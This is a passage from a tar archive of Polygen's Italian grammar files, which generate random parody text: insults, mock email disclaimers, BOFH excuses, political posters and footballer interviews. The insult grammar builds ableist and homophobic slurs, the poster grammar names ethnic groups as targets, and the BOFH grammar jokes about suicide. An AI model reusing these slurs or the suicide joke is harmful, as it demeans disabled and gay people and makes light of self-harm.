quell'altro [Insulto] [la'] ; Virgola ::= "(virgola)" Insulto ["(punto)"] ; Essere ::= [mi] (2: (rifl: ti | NOrifl: _) sei | 3: (rifl: si | NOrifl: _) e') ; Avere ::= [mi] (2: hai | 3: ha) ; Fare ::= [mi] (2: fai | 3: fa) ; Rotto ::= rotto | sbregato | divelto | sfilacciato | spaccato | distrutto | rovinato | scassato | sfasciato | fracassato | spappolato | scucito ; Completamente ::= completamente |- del tutto | definitivamente | (leggermente | lievemente) | [giusto] un attim^[in^]o ; Davvero ::= davvero | veramente | (leggermente | lievemente) | [giusto] un attim^[in^]o ; Merda ::= (art: la | NOart: _) >(merda |- cacca) | (art: il | NOart: _) guano ; Teschio ::= + teschio | cranio ; Nega ::= + neanche |+ mica | per niente | assolutamente ; Cagare ::= >(ca^(c |+ g)^are | sboccare |-- vomitare) [Minchia] |- venire (la diarrea | il cagotto) ; Minchia ::= la minchia | il prepuzio | il glande | il cazzo | la renga | il frenulo | lo scroto | i coglioni | le palle | le gonadi | l'inguine | la cappella | il filetto ; Insulto ::= NOrifl: (indet: un | NOindet: _) ( Super ^"-"^ (Pre^Post | [Pre^] Unico).NOindet. | Pre^(Post | Unico).NOindet. | Unico ) | rifl: ([Super^"-"^] rin^Med^ito).NOindet. ; Med ::= spastich | coglion | goldon | ebetit | down | froc | mongol | bamb ; Pre ::= (indet: ^o | NOindet: _) spasti | [rin^]coglio[^n] | handi | mongo[^l] | goldon | (tri | tetra | penta | deca | (indet: ^'^ | NOindet: _) >(esa | epta | octa | endeca) ) [^ginta] ; Post ::= down | cappato | gay | frocio | plegico | somico ; Unico ::= (indet: ^o | NOindet: _) spastico | rincoglionito | (indet: ^'^ | NOindet: _) handicappato | mongolo[^ide] | down | frocio | gay | coglione ; Super ::= ((indet: ^'^ | NOindet: _) >(ultra | iper) | mega[^lo] | super | turbo) [^Super.NOindet.] ; polygen-1.0.6.ds2/grm/ita/fiera.grm0000644000175000017500000000300210340417034016330 0ustar enricoenricoI ::= "title: Alla fiera dell'est\n" ^ "author: Manta\n" ^ "language: italian\n" ^ "status: embryonic\n" ^ "topic: misc\n" ^ "disclaim: non me ne voglia Branduardi, che stimo seriamente\n" ^ "audience: anybody\n" ^ "created: 20/11/2002" ; S ::= Incipit^"." "\nE" venne Ogg.3 Verso "\nche" al mercato mio padre Compro^"." ; Incipit ::= "Alla" fiera de Est "\nper" (due | tre) soldi "\nun" Topolino mio padre Compro ; Est ::= ^ll'est | ^l >(west | web) ; Topolino ::= topolino | maialino |- ermellino | formaggino | tortellino ; Compro ::= ++ compro' | rubo' | frego' ; Verso ::= "\nche" Pred (_ |++++++ Verso.) ; Pred ::= Verbo.2 (Ogg.2 | Ogg.3) | Verbo.3 Ogg.2 ; Ogg ::= >> 2: >> il ( gatto | cane | fuoco | matto | topo | toro | grasso | rospo | cuoco | marcio | guasto ) | l'^ (acqua | aria | oro) | "Helder" << | 3: >> il (pastore | mercato | bastone | "Signore" | gelato | marpione) | l'^ (arrosto) << << ; Verbo ::= >> rifl: (2: (mangio' | bevve | pincio' | trombo' | purgo' | tarmo')) | 2: ( spense | brucio' | picchio' | legno' | giro' | morse | rubo' | compro' | frego' | cambio' | cago' | presto' ) | 3: ( (uccise | respinse | digeri' | inculo' | si sfondro') | si ( pensare | vivere | stare | andare | guidare | vedere | muoverti | volare | sedere | essere ) | imp: >( pensa | vivi | stai | vai | guida | vedi | muoviti | vola | siedi | sii ) ; Agg ::= giovane | fermo | smart | cool | fine | fresh | hot | free | safe | groove | funk[^y] | happy | jungle | out | in | young | fun | high | alto | alla grande | "Helder" ; polygen-1.0.6.ds2/grm/ita/ogm.grm0000644000175000017500000000305510340417034016034 0ustar enricoenricoI ::= "title: Organismi Geneticamente Modificati\n" ^ "author: Velenux <velenux@oltrelinux.com>\n" ^ "language: italian\n" ^ "status: testing\n" ^ "topic: strani incroci...\n" ^ "audience: anybody\n" ^ "created: 20/09/2003" ; S ::= \ Primario ^ Secondario [Modificato] ; Primario ::= AggettivoPrimario | +++ AnimalePrimario ; Secondario ::= mucca | cane | gatto | zebra | giraffa | potamo | scimmia | pony | rinco | foca | puma | pantera | aquila | lupa | farfalla | papera | lepre | pecora | ragno | elefante | drillo | poiana | porco | marmotta | pettirosso | volpe | iena ; Modificato ::= a (due|tre|quattro|cinque|sei) zampe | a (tre|quattro|cinque|dieci) occhi | a pois | rapace | subnormale | genetico | (super|iper|mega) ^ sviluppato | cibernetico | in fibra di (carbonio|vetro|titanio) | +++ (addizionato|modificato|++potenziato) al (plutonio|carbonio|ferro|cesio|bario|tungsteno |neon|cromo|manganese|potassio|fluoro |^ "l'" ^ (uranio|elio|acciaio|idrogeno|argon|oro|argento) |^ lo (stronzio|iodio|scandio) ) ; AggettivoPrimario ::= sinto | quasi | tecno | simil | gomma | plasto ; AnimalePrimario ::= pollo | squalo | muflon | capron | ornito | leon | delfin | rino | ippo | gufo | luccio | toro | falco | goril | lupo | topo | tarta | rospo | verme | antilopo | dromeda | cocco | alliga | bradipo | maial | orso | coguaro | capriol ; polygen-1.0.6.ds2/grm/ita/maildisclaimer.grm0000644000175000017500000000672410340417034020237 0ustar enricoenricoI ::= "title: MailDisclaimer\n" ^ "author: ..:: cki ::..\n" ^ "language: italian\n" ^ "status: refinable\n" ^ "topic: office\n" ^ "audience: anybody\n" ^ "created: 20/01/2005" ; S ::= (Soggetto >Per Cong Contiene Se Finale).(M|F) ; Soggetto ::= F:\questa ( stronzata | cazzata | mail | comunicazione) | M: \ questo( messaggio | ------------papocchio) ; Per ::= [((superflu|utilissim)^(F:a|M:o) | inutile | senza senso | avvincente)] e' Verbo Avverbio A ; Verbo ::= (rivolt | indirizzat | spedit | inviat)^(F:a|M:o) ; Avverbio ::= esclusivamente | unicamente | solamente | soltanto ; A ::= al destinatario AggA ; AggA ::= designato ; Cong ::= e ( puo'| potrebbe) ; Contiene ::= (nascondere | contenere | essere farcit^(F:a|M:o) con) (>Contenuto).(S|P|I|O) ; Contenuto ::= (P:(informazioni | notizie | note | news | nocciole | cozze | immagini) |S: ( crema [pasticcera] | cioccolata ) | I: (allegati | alligatori | panini) | O: (grana padano | prosciutto)) AggCont ; AggCont ::= [assolutamente|decisamente] (riservat | privilegiat | privat | sopraffin | squisit | caldissim | dolcissim | saporit | zozz)^(P: e | S: a | I: i | O:o) ; Se ::= ^"." \(se | qualora | nel caso in cui) Verbo2 Per2 Faccia ^"." ; Verbo2::= (l'avesse (ricevut | apert | lett) | le fosse (arrivat|giunt| stat^(M:o|F:a) (lanciat | tirat| inviat | mandat )))^(M:o|F:a) ; Per2 ::= per (errore | sbaglio | distrazione | curiosita'| sport) ^"," ; Faccia ::= l^(M:o|F:a) (distrugga | elimini | cancelli | mangi | bruci | faccia sparire) Avv2 E1 E2 ; Avv2 ::= >(immediatamente | senza (indugi^(o|are) | frapporre altro tempo in mezzo | remore | alcun dubbio | farsi vedere)) ; Avv3 ::= >(immediatamente | senza (indugi^(o|are) | frapporre altro tempo in mezzo | remore | alcun dubbio | farci vedere)) ; E1 ::= ^"," (spenga (il computer | il telefonino | la luce)| [ci] si faccia una minestra) ; E2 ::= e >(si ((getti | butti) dalla finestra | denunci Avv2) | balli un >Ballo | compri una mortadella | ci (avverta|denunci|scriva|notizi) Avv2 ) ; Ballo ::= cha cha cha | ^a ( tarantella | polka | rumba | samba ) ; Finale ::= \ >(qualsiasi altro uso di questo messaggio da parte sua e' ParticFin | se dovesse >Verbo3 questa mail >Faremo | la presente si autodistruggera' entro Tempo secondi ) ^"." ; Tempo ::= (0 |1 ^Tempo|(2|3|4|5|6|7|8|9) [^Tempo]) ; Verbo3 ::= riutilizzare | rileggere | forwardare | inviare a (Chi2).(MM|FF) ; Chi2 ::= su^(MM:o|FF:a) (nonn|zi|cugin) ^(MM:o|FF:a) ; Faremo ::= ((chiameremo [Avv3] | avvertiremo [Avv3] | la denun^(c|zi)^eremo [Avv3] (L:al^ |N: a | AI: a^)) >(Chi)).(L|N|AI) ; Chi ::= (L:>(la protezione civile | l'esercito [della salvezza] | le forze dell'ordine | la forza pubblica | la legione straniera | la milizia padana |+++ l'ispettore \(gadget | clouseau | colombo | zenigata)) | N: >(\topolino | \topo \gigio | striscia la notizia | \marrazzo | mi manda rai tre | nostro cugino | \paola e \chiara | suor \germana | \braccobaldo | mr^"." \magoo ) | AI: >(i carabinieri | i servizi segreti [civili | militari]) | i gemelli diversi | i \jalise | i flaminio mafia) ; ParticFin ::= vietato [dalla legge] | proibito | (vivamente | altamente) sconsigliato | perseguibile [penalmente] | da ( coglioni| idioti | rincoglioniti) ; polygen-1.0.6.ds2/grm/ita/bofh.grm0000644000175000017500000001723510340417034016175 0ustar enricoenricoI ::= "title: BOFH Excuses\n" ^ "author: Velenux <velenux@karma.oltrelinux.com>\n" ^ "language: italian\n" ^ "status: mature\n" ^ "topic: misc\n" ^ "audience: anybody\n" ^ "created: 12/09/2003" ; S ::= \ >( [Problem] OggettoProblema^"." | Interferenza [(^ "." | ^ ":" Soluzione)] | DannoUtente [(^ "." | ^ ":" Soluzione)] | ProblemaStileWin^"." | DonnaPulizie [(^ "." | ^ ":" Soluzione)] ) ; Interferenza ::= [ errore NumeroSei ^ ":" | (c^"'e`" | si (verifica|"e`" verificata) | e^"`" venuta a prodursi) una ] {[AggProblema.F]} {(interferenza|"incompatibilita`"|discrepanza)} tra OggettoProblema e OggettoProblema ; Problem ::= [ c^"'e`" | si (verifica|"e`" verificato) | e^"`" venuto a prodursi ] un {[AggProblema.M]} {(problema [NumeroSei]|inconveniente|pasticcio|casino)} con | il {[AggProblema.M]} {problema [NumeroSei]} "e`" ; DannoUtente ::= ("L'utente"|il >CaricaImportante) ha VerboDanno OggettoProblema ; ProblemaStileWin ::= errore NumeroSei [^ "." | ^ ":" Soluzione] ; DonnaPulizie ::= ( (la (donna delle pulizie | >(mamma | cuginetta [viziata] [dalle manine pacioccose] |amante [scema|svampita|bionda|bruna|mora] |zia [novantenne|rincoglionita] [che viene da(^l "Congo"|lontano)] ) del CaricaImportante ) ha ) | (i (tizi delle pulizie|tecnici poco affidabili|bambini della scolaresca in visita) hanno ) ) VerboDanno OggettoProblema ; OggettoProblema ::= RobaTecnica | RobaNonTecnica | Server ; RobaTecnica ::= ( la >("velocita`" | lentezza | temperatura | prontezza | "rapidita`") de | il >(carico | numero di pipeline | Bus | clock | ciclo di rivoluzione) de ) (^lla >("CPU" | "RAM" | macchina | scheda Scheda) | ^l >(computer|Cavo|Bus) | Disco ); RobaNonTecnica ::= l ( ^a >("velocita`" (di (rivoluzione|rotazione|avvicinamento) | angolare) | "luminosita`" | temperatura | vicinanza | lontananza | (interferenza|carica|potenza) [elettro ^] (magnetica|statica) ) | ^e [varie|molteplici|strane|correnti|vecchie] implementazioni ) del ( ^la (sedia [imbottita|con le rotelle|del CaricaImportante|di legno|Colore.F] |radio [a transistor|fm|^lina] |scheda Scheda |(tv|televisione) [a colori|in bianco e nero|"Philips"] ) ) ; Server ::= il (client|server|cluster|mainframe ["IBM"]) TipoServer [ArchServer] [basato su OSServer] ; VerboDanno ::= toccato | interagito con | rotto | avuto a che fare con | sbagliato a (toccare|toccare|pacioccare|interagire) con | rovinato | giocato con | messo le mani su | pacioccato con | modificato ; Soluzione ::= [ si prega ["l'utente"] di ] (ConsultareDoc | AgireInQualcheModo) ; ConsultareDoc ::= [provare a] (leggere|consultare|fare riferimento al ^) la >(documentazione|knowledgebase |sezione [di] (supporto [clienti]|help|aiuto|troubleshooting|risoluzione dei problemi) |guida {[di help]} {[in linea|"on-line"]} ) [ su ("Internet" | ^l sito [del produttore|Sito|di Distro]) ] ; AgireInQualcheModo ::= [provare a] ( (mettere in contatto|far interagire|confrontare) OggettoProblema con OggettoProblema | (aprire|chiudere|[s^]muovere|controllare) OggettoProblema | (riavviare|chiudere la sessione e rifare il login|spegnere il computer|cliccare su "Start") | AzionePersonale ) ; Scheda ::= >{ ethernet | di rete | wireless [ "802.11b" | "802.11g" ] | video ["3dfx"|"Geforce"|"ATI"|"Matrox"] | audio [dolby] | di espansione } >{ pcmcia | "PCI" | "ISA" } >{[a (16|32|64|128|256) ^ bit]} ; Bus ::= bus >{ interno | esterno | di (collegamento | controllo) | dati } >{ a ( ^d alt (^a|^issima) | media | bass (^a|^issima) | incredibile ) ("priorita`"|"velocita`"|trasparenza|tolleranza|"conduttivita`"|latenza) } ; Cavo ::= cav (^o | ^ett [^in] ^o) {[Colore.M|Colore.M (e|^"-"^) Colore.M]} { "USB" ["2.0"] | "ATP" | "UTP" | "CAT5" | "CAT3" | {["E"^] "IDE"} {[("S"|"U")^]"ATA"} | {"SCSI"} {[("UWide"|"Ultra Wide") (160|320)]} | ("IEEE1394"|"Firewire") | seriale | parallelo | ethernet } { piatto | tondo | sottile | grosso | di (collegamento | alimentazione | controllo) } ; Disco ::= S: >> ( (^l (disco | "disk-array") | ^"ll'hard-disk") TipoDisco ) << | P: >> ( (^i (dischi | "disk-array") | ^gli "hard-disk") TipoDisco ) << ; TipoDisco ::= ( {[[("S"|"U")^] "ATA"]} {["E"^] "IDE"} | {"SCSI"} {[("U"^|"Ultra") "Wide" [160|320]]} ) [[ con | with | "\\w" ] (2|8|16|32|64) ^ "Mb" [of|di] cache ] ; TipoServer ::= "FTP" | "SSH" | "Telnet" | "SMTP" | "DNS" | "Gopher" | "HTTP" | "POP3" | "Portmap" | "NNTP" | "NetBIOS" | "IMAP" | "SNMP" | "MySQL" | "Oracle" | "PostgreSQL" | "IRC" ; ArchServer ::= [dual|quad] ( ("Alpha"|"Dec"|"Sparc"|"VAX") [\ ^ station] | "Tru64" |"x86"|{["Xeon"]} {["Intel"]}|{["AMD"]} {["Athlon"|"Opteron"|"Athlon64"]} |"RISC"|"CISC"|"MIPS"|"m68k"|"PPC"|"C64") [ a (8|16|32|64|128) bit ] ; OSServer ::= {[Distro]} {"GNU/Linux"} [VersioneSoft] | "Solaris" [VersioneSoft] | "OSF/1" | "VMS" | "AmiOS" | "MacOS" [VersioneSoft|"X"] | "FreeBSD" [VersioneSoft] | "OpenBSD" [VersioneSoft|"CVS"] | "NetBSD" [VersioneSoft] | "AtheOS" [VersioneSoft] | "SkyOS" [VersioneSoft] | "BeOS" [VersioneSoft] | "IRIX" [VersioneSoft] | "SunOS" [VersioneSoft] | "AIX" [VersioneSoft] | "QNX" [VersioneSoft] | "Windows" ["3.1"|"9x"|"NT 4.0"|"2000"|"2003"] ["Advanced"] ["Server"] ; Distro ::= "Debian" | "Gentoo" | "Slackware" | "Mandrake" | "Red Hat" | "SuSE" | "Conectiva" | "Yellow Dog" | "Knoppix" ; Colore ::= (blu|ciano|arancio[^ne]) | M: (bianco | giallo | verde | rosso | nero) | F: (bianca | gialla | verde | rossa | nera) ; AggProblema ::= M: (fottuto | maledetto | terribile | bastardo | sconosciuto) | F: (fottuta | maledetta | terribile | bastarda | sconosciuta) ; CaricaImportante ::= "CEO" | capo | "General Manager" | "Beancounter" | "CTO" ; Numero ::= Cifra | Numero.nz [^Numero.] ; (* direttamente dalla documentazione! *) NumeroDue ::= Cifra ^ Cifra ; NumeroTre ::= Cifra ^ Cifra ^ Cifra ; NumeroQuattro ::= Cifra ^ Cifra ^ Cifra ^ Cifra ; NumeroCinque ::= Cifra ^ Cifra ^ Cifra ^ Cifra ^ Cifra ; NumeroSei ::= Cifra ^ Cifra ^ Cifra ^ Cifra ^ Cifra ^ Cifra ; VersioneSoft ::= Cifra ^ "." ^ Cifra [ ^ "." ^ Cifra ] ; Cifra ::= z: 0 | nz: {1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9} ; Sito ::= "http://www.microsoft.com" | "http://www.redhat.com" | "http://www.mandrake.com" | "http://www.debian.org" | "http://www.slackware.com" | "http://www.gentoo.org" | "http://www.suse.de" | "http://www.sun.com" | "http://www.ibm.com" | "http://www.apple.com" | "http://www.hp.com" | "http://www.sco.com" | "http://www.novell.com" | "http://www.sgi.com" | "http://www.oracle.com" | "http://www.intel.com" | "http://www.amd.com" | "http://www.asus.com" | "http://www.cisco.com" | "http://www.linux.com" | "http://www.freebsd.org" | "http://www.openbsd.org" | "http://www.adobe.com" | "http://www.symantec.com" ; AzionePersonale ::= suicidarsi | sculacciarsi | flagellarsi | piangersi addosso | chiedere "pieta`" | [s^]battere la testa [Numero volte] sul muro | rivolgersi (al congresso|al "Senato"|gruppo dei "Verdi") | togliersi >(la vita|i pantaloni|i vestiti|quella orrenda (cravatta|camicia|felpa|magli(^a|^etta))) | sparire {[per sempre]} {[dalla mia vista]} ; polygen-1.0.6.ds2/grm/ita/poster.grm0000644000175000017500000000435110340417034016566 0ustar enricoenricoI ::= "title: Ai Poster L'Ardua Sentenza\n" ^ "author: CUG <cug@telcanet.it>\n" ^ "language: italian\n" ^ "status: mature\n" ^ "topic: misc\n" ^ "comment: i poco invasisvi cartelloni con cui il Sindaco d'Italia ha tappezzato le citta'. Dedicato a tutti quelli che non fanno altro che parlarne, sia bene che male\n" ^ "disclaim: non si vuole recare offesa a nessuna etnia, salvo ovviamente "^RAZZA.A ^"\n" ^ "warning: l'autore ci tiene a sottolineare che non e' affiliato a nessuna corrente politica\n" ^ "created: 13/04/2004" ; S::= PREMESSA SEGNO.PU2 (PM COSAGEN PERCHI | PM COSAGEN SEGNO.V PM COSAGEN | COSAGEN SEGNO.V non COSAGEN | (CIFRA^CIFRA^CIFRA^)+ ^" "^ COSE in PM [nel 20^CIFRA^CIFRA] | COSAGEN e COSAGEN PERCHI)SEGNO.PU3; COSAGEN ::= COSA | COSE ; COSA ::= (tasse | topa | -\helder | comunismo | \milan [a due punte] | fatti | pugnette | pane | proibizionismo | sicurezza | sinistra | [dis^]occupazione | festivita' | pensioni | patente a punti | giustizia ); COSE ::= incidenti [stradali] | evasioni [fiscali] | RAZZA.NA | scorregge | euro | lifting | posti di lavoro | festivita' (aggiunte | tolte) | intellettuali [di sinistra] [rompicoglioni] | disoccupati | toghe rosse ; RAZZA ::= ((A:i|NA:_)cinesi |(A:gli|NA:_) italiani |(A:gli|NA:_) onanisti |(A:i|NA:_) gay |-(A:_|NA:_) \helder |(A:i|NA:_) buddisti |(A:i|NA:_) marocchini |(A:gli|NA:_) eschimesi |(A:gli|NA:_) zingari |(A:i|NA:_) comunisti |(A:i|NA:_) rompicoglioni |(A:gli|NA:_) interisti|(A:gli|NA:_) ariani |(A:gli|NA:_) imbecilli |(A:i|NA:_) crucchi |(A:i|NA:_) francesi |(A:gli|NA:_) spagnoli|(A:gli|NA:_) albanesi |(A:i|NA:_) tibetani ) [clandestini]; PERCHI ::= per (tutti | alcuni | me | la sinistra | RAZZA.A); PREMESSA ::= \(IMPEGNO.M concreto | {IMPEGNO.M} {CONCRETO.M} | {IMPEGNO.F} {CONCRETO.F} ); IMPEGNO ::= M:(un impegno | un obbiettivo | un compromesso ) | F:(una promessa | una politica | una soluzione) ; CIFRA ::= "1" | "2" | "3" | "4" | "5" | "6" | "7" | "8" | "9" ; CONCRETO ::= [non] (mantenut | raggiunt | dimenticat | scartat | sottoscritt ) ^(M:o|F:a); PM ::= piu'|meno; SEGNO ::= (PU0: ^".\n\n"^\ | PU1:^".\n"^\ | PU2: ^":" | PU3: ^"."\ | V: ^"," | VT: ^"\""\ ); polygen-1.0.6.ds2/grm/ita/calciatori.grm0000644000175000017500000005645710340417034017402 0ustar enricoenricoI ::= "title: intervista a calciatore\n" ^ "author: gigiriva\n" ^ "language: italian\n" ^ "status: " Velina "\n" ^ "topic: interviste argute\n" ^ "audience: nessuno\n" ^ "comment: " (Calciatore|+++Velina) " dichiara di non essere in possesso del" Corpo " di " (+++Calciatore|Velina) " e si scusa per i problemi derivanti da cio' \n" ^ "created: 05/09/2005" ; S ::= \ "" \intervista a CalciatoreF "

    " Postdomandasq Postsq "

    " Postdomandasq Postsq "

    " Postdomandaper Postper "

    " [Postdomandasing Postsing "

    "] "" Mercdom "" \Mercrisp "

    " Gossip ; Postsq::= \[[sicuramente|_] penso che] abbiamo (giocato | fatto) (una partita | -----un match) [sicuramente|_] importante [^"," e' mancato solo il (gol | risultato)]^".
    " \[sicuramente|_] abbiamo dimostrato (+(che siamo | di essere) [sicuramente|_] (una squadra | un gruppo) (importante | che ha [tanta] voglia di (far[^e] bene | vincere | dimostrare (_ | il suo valore | la sua forza | di sapere fare gruppo | tutto | niente) [ _ | ai tifosi | alla gente | a noi stessi | al mister ]))| di avere (+gli attributi | +i cosiddetti attributi |---- le palle| le capacita' per fare bene | un po' di fortuna | sfortuna | -sfiga | vinto | una grande squadra | un grande gruppo | un (gruppo| allenatore) vincente ))^"." \(ma [sicuramente|_]l'importante e' | -(si deve | bisogna)) (fare (gruppo | bene [il campionato | la coppa] | una buona (prestazione | partita) [sempre | domenica | mercoledi | la prossima volta] | una {partita | prestazione}{importante | buona})) ^".
    " ; Postper::= \[non mi parlare (francese | inglese | aramaico | italiano | esperanto | graco | latino | farfallese | strano | spagnolo | ostrogoto | sardo | difficile | complicato | male | piano | veloce | cinese | russo) che non [ti] capisco^"."|+++_] \[io] [penso che] [sicuramente|_] ho (dimostrato | fatto vedere) (a tutti | al mister | ai giornalisti | a voi | ai tifosi | a chi [non] credeva in me | agli italiani | agli appassionati | al presidente | alla commissione europea | a me stesso) che [sicuramente|+++_](sono un giocatore importante [per questa squadra | per il mister] | sono tornato | l'infortunio al Corpo e' (recuperato | [solo] un [brutto] ricordo) | so fare ([auto^|_] gol | gruppo | la differenza | autocritica) | posso essere ancora (importante | utile) [per la squadra | per il mister] ) [^"." \[sicuramente|_] (dedico | vorrei dedicare) quest ( ^o (++++++gol | errore | momento | -----albero | pareggio | "Grammy" | premio (oscar | di migliore in campo ("Sky" | "Telepiu") | di miglior barzellettiere di"Italia") | scudetto | pallone d'oro | riconoscimento | Corpo | trofeo | esperimento) [[sicuramente|_]importante|+_] | ^a (doppietta | "Champ"^(+++ions | son | sons | rons | on | ion[^z] | sun ) "League" | prestazione | giornata | tripletta |vittorie | sconfitta | carriera | espulsione |ammonizione|guerra mediatica| buffonata )[[sicuramente|_]importante|+_] | --- ^i (attributi | riconoscimenti | ++gol | premi | punti | scudetti | infortuni )[[sicuramente|_]importanti[^ssimi|+_]|+_] ) a ( (* sing M *) (Dich | ^l mio (presidente | procuratore | fan[^s] club | allenatore | massaggiarore | servo | amore | uccello | Corpo | mago | coraggio | ragazzo | maestro (di vita | delle elementari | di tennis)) | ^l "''"^ (CalciatoreF ("Fan Club" | nel cuore | uno di noi | supporters | "Vergogna" | supporters e parenti) | (Sq | -------Pers | ----(VelinaF | Velina)) "Club" (CalciatoreF | -----(Calciatore |--Dich |Velina | VelinaF))| \(daje |forza| grande|dagli a) CalciatoreF ) ^"''" di \(milano|barcellona|reggio\(calabria|emilia|toscana)|roma|(lambr|l[^a]in|boll|segr|scus)^ate |"Busto Arsizio"|"San Vittore"|baghdad|chicago|bogota'| Corpo "sul Naviglio"| samarcanda | atene | stromboli | stoccarda|atalanta|pechino|georgetown|fonopoli|paperopoli|topolinia|altrove|muggia|rebibbia|guantanamo|atlantide)| qualcuno ) che (ImpS | e' stato molto male | e' stato licenziato | ha litigato con Velina | ha appena avuto un figlio con Velina | e' stato disonesto con me | e' stato arrestato | e' un amico | e' piu' bello di Velina) (* sing F *)| (--(Velina | VelinaF) | ^lla mia (sfortuna | badante | sfortuna | ragazza | polmonite| servitu' | squadra| accompagnatrice | voglia di (qualcosa di buono | dimostrare | vincere | perdere | affermarmi )) | mia (figlia | nipote | nonna | madre | sorella | consuocera | zia )| ^lla (squadra | risoluzione "ONU" | televisione | famiglia di (Dich | Velina) | fame nel mondo | vita | tragedia)) che (ImpS | e' stata molto male | mi ha regalato (un figlio | (due|tre|quattro|dodici) figli) | e' incinta | e' morta ieri | e' stata sempre diffidente nei miei confronti | mi e' stata vicina | e' stata importante per me quasi quanto (VelinaF | Velina | Dich) ) (* plur M *)| ( (^i miei (compagni|amici|fans|creditori|animali|cani|gatti|maiali|attributi|detrattori|parenti|figli|nonni|nipoti))| (^i tanti | tutti gli) (poveracci|morti di fame | perditempo | fannulloni |giornalisti |rompicoglioni| africani | presidenti | allenatori) | -- Dich (^"," Dich|_)+ e (Dich|Velina)|^i (fans | giocatori (Del Sq).(M|F|V)| ragazzi della curva | tifosi|vandali|bifolchi|burini|cani) |^gli (avversari|ultras[(Del Sq).(M|F|V)]|amici| unici (amici|tifosi) che ho| attentatori | esattori | altri) ) che (muoiono tutti i giorni | hanno bisogno di me| stanno morendo | mi perseguitano [tramite una fattucchiera]|avevano previsto (il mio gol | il mio infortunio | la fine della mia carriera | la mia morte)|hanno sempre creduto in me | avevano ragione | voglio ringraziare | sono importanti per me | amo | non mollano mai | mi sostengono nelle avversita' | mi hanno sempre (difeso|incitato|fermato|trascurato|telefonato) | mi hanno querelato | mi vogliono (bene|male) | mi hanno (curato | guarito) il Corpo | sono [sempre] con me | sono in difficolta' finanziarie | ho sentito al telefono ieri) ) ] ^".
    " ; Corpo::= (tallone d'^"Achille"| ginocchio | menisco | costato | ^l'osso | cervello | piede [destro | sinistro | --- di mezzo] | setto nasale | membro | ^lo zigomo | fegato | polmone artificiale| muscolo [rosso] | ^l'osso sacro ) ; ImpS::= (sta morendo | mi perseguita [tramite una fattucchiera]|aveva previsto (il mio gol | il mio infortunio | la fine della mia carriera | la mia morte)|ha sempre creduto in me | aveva ragione | voglio ringraziare | e' una persona importante | amo | non molla mai | e' molto importante per me [ e per la squadra]| mi ha sempre difeso | mi ha querelato | mi vuole (bene|male) | mi ha (curato | guarito) il Corpo | e' [sempre] con me | e' in difficolta' finanziarie | ho sentito al telefono ieri) ; Postdomandasq::= ""\[CalciatoreF^","] (cosa ne pens^(i|a) della (partita | vittoria | batosta | sconfitta) di oggi | pens^(i|a) che (la (vittoria | sconfitta | batosta | debacle | disfatta) | il (trionfo | clamoroso passo indietro | tracollo | clamoroso finale)) sia dovuto (alla tattica suicida [dell'avversario | dell'allenatore [avversario]] | alla scarsa preparazione della squadra [avverasaria]| alle condizioni (del campo | fisiche generali) | all'arbitraggio discutibile | alla preparazione (tardiva | affrettata | anticipata) | all'infortunio di Calciatore) | ha[^i] voglia di commentare [la (partita | sconfitta | vittoria ) | l'ammonizione | l'espulsione | il risultato | le proteste degli avversari] | un commento | cred^(e|i) che il nuovo (modulo | schema a tre | sistema difensivo | schema offensivo) abbia giovato (al gioco della squadra | agli automatismi tra i giocatori | al risultato| all'intesa con Calciatore) | Dich ha (dichiarato | detto | affermato) (di essersi annoiato | che non meritravate (la vittoria | la sconfitta| una (vittoria | sconfitta) di tali dimensioni | il pareggio | la vostra attuale posizione in classifica | di partecipare alla sua mensa | di vincere) | che al ritorno non finira' cosi' | vendetta | che non e' stato giusto un finale del genere | che l'arbitro e' stato dalla vostra parte)^"," cosa rispond^(e [CalciatoreF]| i) | [sei | e'] soddisfatto del risultato | la squadra e' sembrata (annebbiata | annoiata | impreparata | molto determianata | pietosa | imbarazzante | alticcia | allo sbando | col pensiero a \(parigi | istambul | nizza | monaco | "Porto Cervo" | lugano | panarea | ibiza | milano) | vogliosa | in imbarazzo | dimessa | altezzosa | eretta | affettata | oligarchica | assetata di (sangue | vittoria | vino | gol) | [troppo] [poco] interessata ai risultati delle altre partite | inutile | sorprendente | magica | per un attimo (il grande "Brasile" | quella di un tempo | quella che tutti si aspettavano))^"," [poi (c'e' stata la svolta | e' successo(quello che hanno visto tutti | il fattaccio | cio' che nessuno si sarebbe mai aspettato))^","] ((sei | e') d'accordo con me | cosa e' successo [tra primo e secondo tempo| nei minuti finali | allo scadere]) | potevate fare (meglio | di piu') )"?

    " ; Postdomandaper::= ""\[CalciatoreF^","]( come giudic^(hi la tua |a la sua) prestazione | (ti sei | si e') trovato bene con i nuovi schemi (difensivi | offensivi) | come ha[^i] fatto a sbagliare quel gol | soddisfatto di come (ti sei | si e') presentato (ai tifosi | al mister | agli avversari) | contento per (il gol | la tripletta | il rigore (sbagliato | parato | realizzato) | la ratifica del protocollo di "Kyoto" | i complimenti del mister [aversario] | il pareggio in extremis | il premio del (migliore | peggiore) in campo) )"?

    " ; Postdomandasing::= ""\cosa ne pens^(i|a) (della (partita|prestazione| sostituzione |gufata |parata | espulsione ) |del (gol | ^l'assist | ^lo sputo | comportamento | rigore)) di Calciatore ^"?

    " ; Postsing::= \non (amo |+++ voglio | posso) parlare dei singoli^"." Postsq ; Mercdom::= \(sono vere le voci che vogliono CalciatoreF (Al Sq).(M|F|V) |vedi il tuo futuro (Al Sq).(M|F|V) |possiamo dire ufficialmente che CalciatoreF e' (un giocatore| ufficialmente) (Del Sq).(M|F|V) [insieme a Calciatore] |(Il Sq).(M|F|V) ti vuole^"," cosa rispondi |tentazione Sq |Calciatore andra' (Al Sq).(M|F|V)^"," lo seguira^('|i) |conferm^(a|i) l'interessamento (Del Sq).(M|F|V) | ti vogliono "tutti:" Sq^","Sq^","Sq^","Sq^","Sq^","Sq^","Sq^","Sq^","Sq^","Sq^","Sq^","(Sq^",")+ (dove andr^(a'|ai)| dove vedremo giocare CalciatoreF la prossima stagione| non (ti senti | si sente) (imbarazzato | lusingato | inadeguato | trascurato | abbandonato | idiota | forte | poco considerato | troppo sopravvalutato | condannato | il piu' grande di tutti i tempi) | che succedera' ) )"?

    " ; Mercrisp::= (ho un contratto fino al 20^(00|" luglio"|07|08|09|10|11|12|13|14|15|20|25|28|36|92) ["a.c."|++++++_] e intendo (rispettarlo | annullarlo | portarlo a termine)^".
    " |non ne so niente^"," chiedete (a (Dich | ---Velina) | al mio procuratore | al presidente | al mister |-- all'oracolo di "Delfi" )^".
    " |no comment [^"." Postper|+_"
    "] |sono in silenzio stampa [^"." Postper|+_"
